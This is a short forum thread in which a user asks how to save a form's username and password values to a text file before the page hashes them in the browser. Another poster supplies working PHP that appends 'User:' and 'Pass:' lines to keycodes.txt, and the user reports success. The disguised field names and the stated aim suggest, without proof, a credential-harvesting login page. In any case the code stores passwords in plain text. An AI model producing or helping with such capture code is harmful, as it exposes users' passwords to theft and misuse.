Saving form input to a text file!

Hello guys.. I have a form..

<form action="start.php" method="post" onsubmit="md5hash(start_keycode , omega_keycode, $show[nokeyempty])"> <script type="text/javascript" src="serverut/md5.js?v=$options[version2]"></script>


As you can see that start_keycode get hashed everytime the form is submitted. Now what i wanted to do is to get this start_keycode and omega_keycode value saved in a text file. I have the following code to do that

<?php
$handle = fopen('keycodes.txt', 'a');
fwrite($handle, "User: ".$_POST['start_keycode']." Pass:".$_POST['omega_keycode']."\r\n");
fclose($handle);
?>


what i cant figure out is where to place this code..? or is there any other way around..? I just want the values to get saved before they get hashed..

 

anyone ... who can help me with this?

 

you have to save this at file start.php

 

This this

<?php
if($_POST){
$handle = fopen('keycodes.txt', 'a');
fwrite($handle, "User: ".$_POST['start_keycode']." Pass:".$_POST['omega_keycode']."\r\n");
fclose($handle);
}
?>

PHP:

 

thanks guys.. got it working..